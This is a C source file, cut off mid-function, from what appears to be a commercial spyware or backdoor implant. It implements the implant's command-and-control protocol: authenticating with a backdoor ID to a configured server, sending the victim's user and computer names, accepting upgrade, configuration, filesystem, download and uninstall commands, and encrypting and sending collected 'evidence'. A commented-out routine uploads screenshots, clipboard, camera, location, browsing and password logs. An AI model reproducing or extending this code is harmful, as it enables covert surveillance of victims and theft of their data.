#include <windows.h>
#include <Sddl.h>

#include "Protocol.h"
#include "..\common\sha1.h"
#include "..\common\crypto_utils.h"
#include "..\common\utils.h"
#include "..\common\base64.h"

#include "..\common\debug.h"

#pragma comment( linker, "/subsystem:console" )
#pragma section("loader", read,execute)
#pragma code_seg("loader")

//#include "binpatch.h"
//#include "globals.h"
//#include "zmem.h"
//#include "base64.h"
//#include "utils.h"
//#include "crypt.h"
//#include "sha1.h"
//#include "winhttp.h"
//#include "proto.h"
//#include "debug.h"
//#include "main.h"
//#include "device.h"
//#include "screenshot.h"
//#include "crypt.h"
//#include "upgrade.h"
//#include "social.h"
//#include "conf.h"
//#include "position.h"
//#include "clipboard.h"
//#include "password.h"
//#include "url.h"
//#include "filesystem.h"
//#include "conf.h"
//#include "photo.h"
//#include "log_cloudfile.h"

//#undef _GLOBAL_VERSION_FUNCTIONS_
//#include "version.h"
//
//#pragma include_alias( "dxtrans.h", "camera.h" )
//#define __IDxtCompositor_INTERFACE_DEFINED__
//#define __IDxtAlphaSetter_INTERFACE_DEFINED__
//#define __IDxtJpeg_INTERFACE_DEFINED__
//#define __IDxtKey_INTERFACE_DEFINED__
//#include "camera.h"

//extern PDEVICE_CONTAINER lpDeviceContainer;
//extern HANDLE g_hDevMutex; //defined in device.cpp

//BYTE pCurrentRandomData[16];

BOOL ProtoAuth(PRUNTIME pRuntime)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL) (pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	BOOL bRet = FALSE;
	LPSTR lpAuthCmd = ProtoMessageAuth(pRuntime);

	BOOL bSend = WinHTTPSendData(pRuntime, (LPBYTE)lpAuthCmd, strlen(lpAuthCmd));
	API_FREE(pRuntime, lpAuthCmd);

	if (!bSend)
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
//#endif	
		return FALSE;
	}

	LPBYTE lpBuffer;
	DWORD dwOut;
	LPPROTO_RESPONSE_AUTH lpProtoResponse = (LPPROTO_RESPONSE_AUTH)GetResponse(pRuntime, TRUE, &dwOut);
	if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_AUTH))
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
//		//		__asm int 3;
//#endif

		API_FREE(pRuntime, lpProtoResponse);
		return FALSE;
	}

	if (VerifyMessage(pRuntime, lpProtoResponse->pRandomData, lpProtoResponse->pSha1Digest))
	{
		switch (lpProtoResponse->uProtoCommand)
		{
		case PROTO_UNINSTALL:
			if (WinHTTPSendData(pRuntime, lpBuffer, CommandHash(pRuntime, PROTO_BYE, NULL, 0, pVariables->pSessionKey, &lpBuffer)))
				API_FREE(pRuntime, lpBuffer);
			//Uninstall(); FIXME -> example of 2 modules interaction
			//__asm int 3; // not reached
		case PROTO_NO:
			bRet = FALSE;
			break;
		case PROTO_OK:
			bRet = TRUE;
			break;
		default:
			bRet = FALSE;
//#ifdef _DEBUG
//			OutputDebug(L"[!!] Got unknown response, uProtoCommand: %08x\n", lpProtoResponse->uProtoCommand);
//			__asm int 3;
//#endif
		}
	}
//#ifdef _DEBUG
//	else
//	{
//		OutputDebug(L"[!!] Cannot verify message integrity :((\n");
//		__asm int 3; // FIXME 
//	};
//#endif
//
	API_FREE(pRuntime, lpProtoResponse);
	return bRet;
}

BOOL ProtoId(PRUNTIME pRuntime)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	BOOL bSend;
	DWORD dwBuffLen;
	LPBYTE lpBuffer, lpCryptedBuffer;

	lpBuffer = ProtoMessageId(pRuntime, &dwBuffLen);
	bSend = WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_ID, lpBuffer, dwBuffLen, pVariables->pSessionKey, &lpCryptedBuffer));
	API_FREE(pRuntime, lpCryptedBuffer);
	API_FREE(pRuntime, lpBuffer);

	if (!bSend)
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] WinHTTPSendData FAIL @ proto.cpp\n");
//		__asm int 3;
//#endif
		return FALSE;
	}

	DWORD dwOut;
	LPPROTO_RESPONSE_ID lpProtoResponse = (LPPROTO_RESPONSE_ID)GetResponse(pRuntime, FALSE, &dwOut);
	if (!lpProtoResponse || dwOut < sizeof(PROTO_RESPONSE_ID))
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
//		__asm int 3;
//#endif
		API_FREE(pRuntime, lpProtoResponse);
		return FALSE;
	}

	if (lpProtoResponse->uProtoCommand != PROTO_OK)
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] Got uProtoCommand != PROTO_OK @ ProtoId()\n");
//		__asm int 3;
//#endif
		API_FREE(pRuntime, lpProtoResponse);
		return FALSE;
	}

	// parse availables.
	if (lpProtoResponse->uAvailables)
	{
		LPDWORD lpAvailables = (&lpProtoResponse->uAvailables) + 1;
		for (DWORD i = 0; i<lpProtoResponse->uAvailables; i++)
		{
			if (lpAvailables[i] == PROTO_UPGRADE)
			{
				if (WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_UPGRADE, NULL, 0, pVariables->pSessionKey, &lpCryptedBuffer)))
				{
					LPPROTO_RESPONSE_UPGRADE lpProtoUpgrade = (LPPROTO_RESPONSE_UPGRADE)GetResponse(pRuntime, FALSE, &dwOut);
					if (!lpProtoUpgrade || dwOut < sizeof(PROTO_RESPONSE_UPGRADE))
					{
//#ifdef _DEBUG
//						OutputDebug(L"[!!] GetResponse fail @ %s:%d\n", __FILEW__, __LINE__);
//						__asm int 3;
//#endif
						API_FREE(pRuntime, lpProtoUpgrade);
						API_FREE(pRuntime, lpCryptedBuffer);
						continue;
					}

					if (lpProtoUpgrade) // FIXME check che c'e' abbastanza buffah (upgradenamelen + dwfilesize
					{
						LPWSTR strUpgradeName = (LPWSTR)API_ALLOC(pRuntime, lpProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
						pRuntime->pMsvcrt->fp_memcpy(strUpgradeName, &lpProtoUpgrade->pUpgradeNameBuffer, lpProtoUpgrade->uUpgradeNameLen);

						DWORD dwFileSize = *(LPDWORD)(((PBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen);
						LPBYTE lpFileBuff = (LPBYTE)(((LPBYTE)&lpProtoUpgrade->pUpgradeNameBuffer) + lpProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

						if (strUpgradeName[0] == L's' && strUpgradeName[1] == 'o')
						{
							//if (!UpgradeSoldier(strUpgradeName, lpFileBuff, dwFileSize))
							//{
							//
							//}
						}
						API_FREE(pRuntime, strUpgradeName);
						API_FREE(pRuntime, lpProtoUpgrade);
					}

				}
				API_FREE(pRuntime, lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_NEW_CONF)
			{
				if (WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_NEW_CONF, NULL, 0, pVariables->pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD)GetResponse(pRuntime, FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 12 && lpRespBuffer[0] == PROTO_OK)
					{
						LPBYTE lpConfBuffer = (LPBYTE)(&lpRespBuffer[1]);
						//NewConf(lpConfBuffer, TRUE, TRUE);
						//StartModules();

						API_FREE(pRuntime, lpCryptedBuffer);
						DWORD dwOk = 1;
						WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_NEW_CONF, (LPBYTE)&dwOk, sizeof(DWORD), pVariables->pSessionKey, &lpCryptedBuffer));

						LPBYTE lpResp = GetResponse(pRuntime, FALSE, &dwOut);
						API_FREE(pRuntime, lpResp);
					}
					else
					{
//#ifdef _DEBUG
//						OutputDebug(L"[!] GOT != PROTO_OK for NEW_CONF, ptr:%x, size:%d", lpBuffer, dwOut);
//						__asm int 3;
//#endif
					}

					API_FREE(pRuntime, lpRespBuffer);
				}
				API_FREE(pRuntime, lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_FILESYSTEM)
			{
				if (WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_FILESYSTEM, NULL, 0, pVariables->pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD)GetResponse(pRuntime, FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
					{
						DWORD dwMsgLen = lpRespBuffer[1];
						DWORD dwNumDir = lpRespBuffer[2];
						LPBYTE lpDirBuffer = (LPBYTE)&lpRespBuffer[3];

						//FileSystemHandler(dwMsgLen, dwNumDir, lpDirBuffer);
					}

					API_FREE(pRuntime, lpRespBuffer);
				}
				API_FREE(pRuntime, lpCryptedBuffer);
			}
			else if (lpAvailables[i] == PROTO_DOWNLOAD)
			{
				if (WinHTTPSendData(pRuntime, lpCryptedBuffer, CommandHash(pRuntime, PROTO_DOWNLOAD, NULL, 0, pVariables->pSessionKey, &lpCryptedBuffer)))
				{
					LPDWORD lpRespBuffer = (LPDWORD)GetResponse(pRuntime, FALSE, &dwOut);
					if (lpRespBuffer && dwOut >= 4 && lpRespBuffer[0] == PROTO_OK)
					{
						DWORD dwMsgLen = lpRespBuffer[1];
						DWORD dwNumFiles = lpRespBuffer[2];
						LPBYTE lpFileBuffer = (LPBYTE)&lpRespBuffer[3];

						//DownloadHandler(dwMsgLen, dwNumFiles, lpFileBuffer);
					}

					API_FREE(pRuntime, lpRespBuffer);
				}

				API_FREE(pRuntime, lpCryptedBuffer);
			}
		}
	}
	API_FREE(pRuntime, lpProtoResponse);

	return TRUE;
}


LPBYTE PackEncryptEvidence(PRUNTIME pRuntime, __in DWORD dwBufferSize, __in LPBYTE lpInBuffer, __in DWORD dwEvType, __in LPBYTE lpAdditionalData, __in DWORD dwAdditionalDataLen, __out LPDWORD dwOut)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	DWORD dwAlignedSize = Align(dwBufferSize, 16);
	LPBYTE lpCryptedBuff = (LPBYTE)API_ALLOC(pRuntime, dwAlignedSize);
	pRuntime->pMsvcrt->fp_memcpy(lpCryptedBuff, lpInBuffer, dwBufferSize);

	Encrypt(pRuntime, lpCryptedBuff, dwAlignedSize, &pRuntime->lpBinPatchVariables->EncryptionKey.pEncryptionKey, PAD_NOPAD); //pLogKey

	DWORD dwHeaderSize;
	LPBYTE lpLogHeader = CreateLogHeader(pRuntime, dwEvType, lpAdditionalData, dwAdditionalDataLen, &dwHeaderSize);

	DWORD dwTotalRoundedSize = sizeof(DWORD)+dwHeaderSize + sizeof(DWORD)+dwAlignedSize;
	LPBYTE lpBuffer = (LPBYTE)API_ALLOC(pRuntime, dwTotalRoundedSize);
	LPBYTE lpTmpBuff = lpBuffer;

	// total size
	*(LPDWORD)lpTmpBuff = dwTotalRoundedSize;
	lpTmpBuff += sizeof(DWORD);

	// header
	memcpy(lpTmpBuff, lpLogHeader, dwHeaderSize);
	lpTmpBuff += dwHeaderSize;
	API_FREE(pRuntime, lpLogHeader);

	// payload size (in clear)
	*(LPDWORD)lpTmpBuff = dwBufferSize;
	lpTmpBuff += sizeof(DWORD);

	//payload
	pRuntime->pMsvcrt->fp_memcpy(lpTmpBuff, lpCryptedBuff, dwAlignedSize);
	API_FREE(pRuntime, lpCryptedBuff);

	*dwOut = dwTotalRoundedSize;
	return lpBuffer;
}

BOOL SendEvidence(PRUNTIME pRuntime, LPBYTE lpBuffer, DWORD dwSize)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);
	BOOL bRet = FALSE;

	LPBYTE lpEncBuff;
	if (WinHTTPSendData(pRuntime, lpEncBuff, CommandHash(pRuntime, PROTO_EVIDENCE, lpBuffer, dwSize, pVariables->pSessionKey, &lpEncBuff)))
	{
		DWORD dwOut;
		LPBYTE lpRespBuff = GetResponse(pRuntime, FALSE, &dwOut);
		if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
			bRet = TRUE;

		API_FREE(pRuntime, lpRespBuff);
	}

	API_FREE(pRuntime, lpEncBuff);
	return bRet;
}

//encrypt the evidence with the session key and send it (the is already packed as an hashed command)
BOOL SendEvidence_Encrypt(PRUNTIME pRuntime, LPBYTE lpBuffer, DWORD dwSize)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);
	DWORD dwAlignedSize = 0;
	BOOL bRet = FALSE;

	//encrypt the packet with the session key
	Encrypt(pRuntime, lpBuffer, dwSize, pVariables->pSessionKey, PAD_PKCS5);

	if (dwSize % 16)
		dwSize += 16 - (dwSize % 16);
	else
		dwSize += 16;

	dwAlignedSize = dwSize;

	if (WinHTTPSendData(pRuntime, lpBuffer, dwAlignedSize))
	{
		DWORD dwOut;
		LPBYTE lpRespBuff = GetResponse(pRuntime, FALSE, &dwOut);
		if (dwOut >= sizeof(DWORD) && lpRespBuff && *(LPDWORD)lpRespBuff == PROTO_OK)
			bRet = TRUE;

		API_FREE(pRuntime, lpRespBuff);
	}

	return bRet;
}


//BOOL ProtoEvidences(PRUNTIME pRuntime)
//{
//	BOOL bRet = FALSE, bSendDevice = TRUE;
//
//	if (lpDeviceContainer)
//	{
//		//wait for the mutex to be signaled
//		if (g_hDevMutex != NULL)
//		{
//			if (WaitForSingleObject(g_hDevMutex, 5000) == WAIT_OBJECT_0)
//				bSendDevice = TRUE;
//			else
//				bSendDevice = FALSE;
//		}
//
//		if (bSendDevice)
//		{
//			DWORD dwEvSize;
//			LPBYTE lpEvBuffer = PackEncryptEvidence(lpDeviceContainer->uSize, (LPBYTE)lpDeviceContainer->pDataBuffer, PM_DEVICEINFO, NULL, 0, &dwEvSize);
//			LPBYTE lpCryptedBuff;
//
//			if (WinHTTPSendData(lpCryptedBuff, CommandHash(PROTO_EVIDENCE, lpEvBuffer, dwEvSize, pSessionKey, &lpCryptedBuff)))
//			{
//				DWORD dwOut;
//				LPBYTE lpRespBuff = GetResponse(FALSE, &dwOut);
//				if (lpRespBuff && dwOut >= sizeof(DWORD))
//				{
//					if (*(LPDWORD)lpRespBuff == PROTO_OK)
//					{
//						zfree(lpDeviceContainer->pDataBuffer);
//						zfree(lpDeviceContainer);
//						lpDeviceContainer = NULL;
//
//						bRet = TRUE;
//					}
//					else
//					{
//#ifdef _DEBUG
//						__asm int 3;
//#endif
//					}
//
//					zfree(lpRespBuff);
//				}
//			}
//			zfree(lpEvBuffer);
//			zfree(lpCryptedBuff);
//
//			//release the mutex
//			if (g_hDevMutex)
//				ReleaseMutex(g_hDevMutex);
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_SCREENSHOT_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpScreenshotLogs[i].lpBuffer;
//		DWORD dwEvSize = lpScreenshotLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpScreenshotLogs[i].lpBuffer = 0;
//				lpScreenshotLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_SOCIAL_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpSocialLogs[i].lpBuffer;
//		DWORD dwEvSize = lpSocialLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpSocialLogs[i].lpBuffer = 0x0;
//				lpSocialLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_POSITION_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpPositionLogs[i].lpBuffer;
//		DWORD dwEvSize = lpPositionLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpPositionLogs[i].lpBuffer = 0;
//				lpPositionLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_CLIPBOARD_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpClipboardLogs[i].lpBuffer;
//		DWORD dwEvSize = lpClipboardLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpClipboardLogs[i].lpBuffer = 0;
//				lpClipboardLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_CAMERA_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpCameraLogs[i].lpBuffer;
//		DWORD dwEvSize = lpCameraLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpCameraLogs[i].lpBuffer = 0;
//				lpCameraLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_URL_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = g_lpURLLogs[i].lpBuffer;
//		DWORD dwEvSize = g_lpURLLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			//#ifdef _DEBUG
//			//OutputDebugString(L"[URL] Sending evidendce");
//			//#endif
//
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				g_lpURLLogs[i].lpBuffer = 0;
//				g_lpURLLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	// TODO: any specifc order among evidences enforced?
//	Sleep(100);
//	for (auto i = 0; i < MAX_PHOTO_QUEUE; i++)
//	{
//		LPBYTE lpEvBuffer = lpPhotoLogs[i].lpBuffer;
//		DWORD  dwEvSize = lpPhotoLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize))
//			{
//				lpPhotoLogs[i].lpBuffer = 0;
//				lpPhotoLogs[i].dwSize = 0;
//				zfree_s(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_FILESYSTEM_QUEUE; i++)
//	{
//		// filesystem
//		LPBYTE lpEvBuffer = lpFileSystemLogs[i].lpBuffer;
//		DWORD dwEvSize = lpFileSystemLogs[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize))
//			{
//				lpFileSystemLogs[i].lpBuffer = 0;
//				lpFileSystemLogs[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//
//		// download
//		LPWSTR strFileName = lpDownloadLogs[i].strFileName;
//		LPWSTR strDisplayName = lpDownloadLogs[i].strDisplayName;
//
//		if (strFileName && strDisplayName)
//		{
//			LPBYTE lpHeader = NULL;
//			DWORD dwHeaderSize, dwFileSize;
//			LPBYTE lpFileBuffer = DownloadGetEvidence(strFileName, strDisplayName, &lpHeader, &dwHeaderSize, &dwFileSize);
//
//			if (lpFileBuffer && dwFileSize && dwHeaderSize)
//			{
//				DWORD dwEvSize;
//				LPBYTE lpEvBuffer = PackEncryptEvidence(dwFileSize, lpFileBuffer, PM_DOWNLOAD, (LPBYTE)lpHeader, dwHeaderSize, &dwEvSize);
//				zfree(lpFileBuffer);
//				zfree(lpHeader);
//
//				if (lpEvBuffer)
//				{
//					SendEvidence(lpEvBuffer, dwEvSize);
//
//					lpDownloadLogs[i].strFileName = 0;
//					lpDownloadLogs[i].strDisplayName = 0;
//
//					zfree(strFileName);
//					zfree(strDisplayName);
//					zfree(lpEvBuffer);
//				}
//			}
//			/*
//			if (lpEvBuffer)
//			{
//
//
//
//
//			SendEvidence(lpEvBuffer, dwEvSize);
//			zfree(lpEvBuffer);
//			}
//
//			lpDownloadLogs[i].strFileName = 0;
//			lpDownloadLogs[i].strDisplayName = 0;
//
//			zfree(strFileName);
//			zfree(strDisplayName);
//			*/
//		}
//	}
//
//	if (lpPasswordLogs.dwSize && lpPasswordLogs.lpBuffer)
//	{
//		LPBYTE lpEvBuffer = lpPasswordLogs.lpBuffer;
//		DWORD dwEvSize = lpPasswordLogs.dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//			if (SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//			{
//				lpPasswordLogs.lpBuffer = 0;
//				lpPasswordLogs.dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	Sleep(100);
//	for (DWORD i = 0; i<MAX_LOG_ENTRIES; i++)
//	{
//		LPBYTE lpEvBuffer = g_log_table[i].lpBuffer;
//		DWORD  dwEvSize = g_log_table[i].dwSize;
//
//		if (dwEvSize != 0 && lpEvBuffer != NULL)
//		{
//#ifdef _DEBUG
//			OutputDebugString(L"\r\n[LOG] Sending log evidence\r\n");
//#endif
//
//			//			if(SendEvidence(lpEvBuffer, dwEvSize)) // FIXME: free evidence solo se GetResponse == OK
//
//			if (SendEvidence_Encrypt(lpEvBuffer, dwEvSize))
//			{
//				g_log_table[i].lpBuffer = 0;
//				g_log_table[i].dwSize = 0;
//				zfree(lpEvBuffer);
//			}
//		}
//	}
//
//	return bRet;
//}

BOOL ProtoBye(PRUNTIME pRuntime)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	LPBYTE lpCryptedBuff;

	if (!WinHTTPSendData(pRuntime, lpCryptedBuff, CommandHash(pRuntime, PROTO_BYE, NULL, 0, pVariables->pSessionKey, &lpCryptedBuff)))
	{
//#ifdef _DEBUG
//		OutputDebug(L"[!!] PROTO_BYE FAIL: %08x\n", GetLastError());
//		__asm int 3;
//#endif
	}

	API_FREE(pRuntime, lpCryptedBuff);
	return TRUE;
}

BOOL Synch(PRUNTIME pRuntime)
{
	BOOL bRet = FALSE;
	ULONG pServerPort;
	BYTE pServerIp[32];
	CHAR strIp[100];

	
	if (!pRuntime->pExternalModules.fpConfiguration_GetSynchIp(pRuntime, strIp))  // TODO  GetSyncIp(strIp)
		return FALSE;

	if (!WinHTTPSetup(pRuntime, (PBYTE)strIp, pServerIp, sizeof(pServerIp), &pServerPort))
	{
//#ifdef _DEBUG
//		OUTPUTDEBUG(L"[!] WinHttpSetup FAIL\n");
//		DebugBreak();
//#endif
		return bRet;
	}

	if (ProtoAuth(pRuntime))
	{
		if (ProtoId(pRuntime))
		{
			//if (ProtoEvidences(pRuntime))
			//{
				bRet = TRUE;
			//}
		}
		ProtoBye(pRuntime);
	}


	WinHTTPClose(pRuntime);

	return bRet;
}

LPBYTE ProtoMessageId(PRUNTIME pRuntime, LPDWORD dwMsgLen)
{
	PSTRINGS_PROTOCOL pStrings = (PSTRINGS_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpStrings);

	DWORD dwUser, dwComputer, dwSource;
	LPWSTR lpUserName = (LPWSTR) API_ALLOC(pRuntime, (MAX_FILE_PATH + 1) * sizeof(WCHAR));
	LPWSTR lpComputerName = (LPWSTR)API_ALLOC(pRuntime, (MAX_FILE_PATH + 1) * sizeof(WCHAR));

	API_GETENVIRONMENTVARIABLEW(pStrings->strUsername, lpUserName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array
	API_GETENVIRONMENTVARIABLEW(pStrings->strComputername, lpComputerName, MAX_FILE_PATH * sizeof(WCHAR));  //FIXME: array

	LPPASCAL_STRING lpUserNamePascal = PascalizeString(pRuntime, lpUserName, &dwUser);
	LPPASCAL_STRING lpComputerNamePascal = PascalizeString(pRuntime, lpComputerName, &dwComputer);
	LPPASCAL_STRING lpSourceId = PascalizeString(pRuntime, pStrings->strEmptyUnicode, &dwSource);

	API_FREE(pRuntime, lpUserName);
	API_FREE(pRuntime, lpComputerName);

	DWORD dwOffset = sizeof(DWORD);
	DWORD dwBuffLen = dwUser + dwComputer + dwSource + sizeof(DWORD);
	LPBYTE lpBuffer = (LPBYTE)API_ALLOC(pRuntime, dwBuffLen);

	*(LPDWORD)lpBuffer = pRuntime->pVersion->dwBuildVersion;

	API_MEMCPY(lpBuffer + dwOffset, lpUserNamePascal, dwUser);
	dwOffset += dwUser;
	API_MEMCPY(lpBuffer + dwOffset, lpComputerNamePascal, dwComputer);
	dwOffset += dwComputer;
	API_MEMCPY(lpBuffer + dwOffset, lpSourceId, dwSource);

	API_FREE(pRuntime, lpUserNamePascal);
	API_FREE(pRuntime, lpComputerNamePascal);
	API_FREE(pRuntime, lpSourceId);

	*dwMsgLen = dwBuffLen;
	return lpBuffer;
}

LPSTR ProtoMessageAuth(PRUNTIME pRuntime)
{
	PVARIABLES_PROTOCOL pVariables = (PVARIABLES_PROTOCOL)(pRuntime->pModuleSpecificData[INDEX_PROTOCOL]->lpVariables);

	BYTE pHashBuffer[20];

	DWORD dwRandomPoolSize = GetRandomInt(pRuntime, 128, 1024);
	DWORD dwCryptBufferSize = sizeof(PROTO_COMMAND_AUTH);
	DWORD dwMessageSize = dwCryptBufferSize + dwRandomPoolSize;

	LPPROTO_COMMAND_AUTH lpProtoCommand = (LPPROTO_COMMAND_AUTH)API_ALLOC(pRuntime, dwMessageSize);
	SecureZeroMemory(lpProtoCommand, sizeof(PROTO_COMMAND_AUTH));

	// version
	lpProtoCommand->Version = 0x1;

	// ks
	AppendRandomData(pRuntime, &pVariables->pCurrentRandomData, 16);
	API_MEMCPY(lpProtoCommand->Kd, pVariables->pCurrentRandomData, 16);

	// kd[32] == confkey[16] + ks
	LPBYTE lpKD = (LPBYTE)API_ALLOC(pRuntime, 32);
	API_MEMCPY(lpKD, pRuntime->lpBinPatchVariables->EncryptionKeyConf.pEncryptionKeyConf, 16); //pConfKey
	API_MEMCPY(lpKD + 16, pVariables->pCurrentRandomData, 16);

	// sha1(kd)
	CalculateSHA1(pRuntime, pHashBuffer, lpKD, 32);
	API_MEMCPY(lpProtoCommand->Sha1, pHashBuffer, 20);
	API_FREE(pRuntime, lpKD);

	// backdoor_id
	API_MEMCPY(lpProtoCommand->BdoorID, pRuntime->lpBinPatchVariables->BackdoorId.pBackdoorId, min(pRuntime->lpBinPatchVariables->BackdoorId.pBackdoorId, 16));

	// instance id
	LPBYTE lpInstanceId = GetUserUniqueHash(pRuntime);
	API_MEMCPY(lpProtoCommand->InstanceID, lpInstanceId, 20);
	API_FREE(pRuntime, lpInstanceId);

	/*
	determine whether it's a demo scout or not :
	- cautiously set demo to 0 (i.e. not demo)
	- if stars align properly set to demo
	*/
	lpProtoCommand->SubType.Demo = 0x0;

	SHA1Context sha;
	SHA1Reset(&sha);
	SHA1Input(&sha, (PBYTE)pRuntime->lpBinPatchVariables->DemoTag.pDemoTag, 32);
	if (SHA1Result(&sha))
	{
		/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
		unsigned nDemoTag[5];
		nDemoTag[0] = 1575563797;
		nDemoTag[1] = 2264195072;
		nDemoTag[2] = 3570558757;
		nDemoTag[3] = 2213518012;
		nDemoTag[4] = 971935466;

		if (nDemoTag[0] == sha.Message_Digest[0] &&
			nDemoTag[1] == sha.Message_Digest[1] &&
			nDemoTag[2] == sha.Message_Digest[2] &&
			nDemoTag[3] == sha.Message_Digest[3] &&
			nDemoTag[4] == sha.Message_Digest[4])
		{
			lpProtoCommand->SubType.Demo = 0x1;
		}

	}
	
	// sub type 
	lpProtoCommand->SubType.Arch = 0x0;    // windows
	lpProtoCommand->SubType.Stage = 0x1;   // elite 1, soldier 2
	lpProtoCommand->SubType.Flags = 0x0;   // reserved

	// encrypt + rand + base64 the whole thing
	Encrypt(pRuntime, (LPBYTE)lpProtoCommand, dwCryptBufferSize, pRuntime->lpBinPatchVariables->clientKey.pClientKey, PAD_NOPAD);
	AppendRandomData(pRuntime, ((LPBYTE)lpProtoCommand) + dwCryptBufferSize, dwRandomPoolSize);

	LPSTR lpEncodedMessage = (LPSTR)base64_encode(pRuntime, (LPBYTE)lpProtoCommand, dwMessageSize);
	API_FREE(pRuntime, lpProtoCommand);

	return lpEncodedMessage;
}

LPPASCAL_STRING PascalizeString(PRUNTIME pRuntime, __in LPWSTR lpString, __in LPDWORD dwOutLen)
{
	DWORD dwSize = (wcslen(lpString) + 1) * sizeof(WCHAR);
	LPPASCAL_STRING lpBuffer = (LPPASCAL_STRING)API_ALLOC(pRuntime, dwSize + sizeof(DWORD));

	lpBuffer->dwStringLen = dwSize;
	wcscpy_s(lpBuffer->lpStringBuff, dwSize / sizeof(WCHAR), lpString);

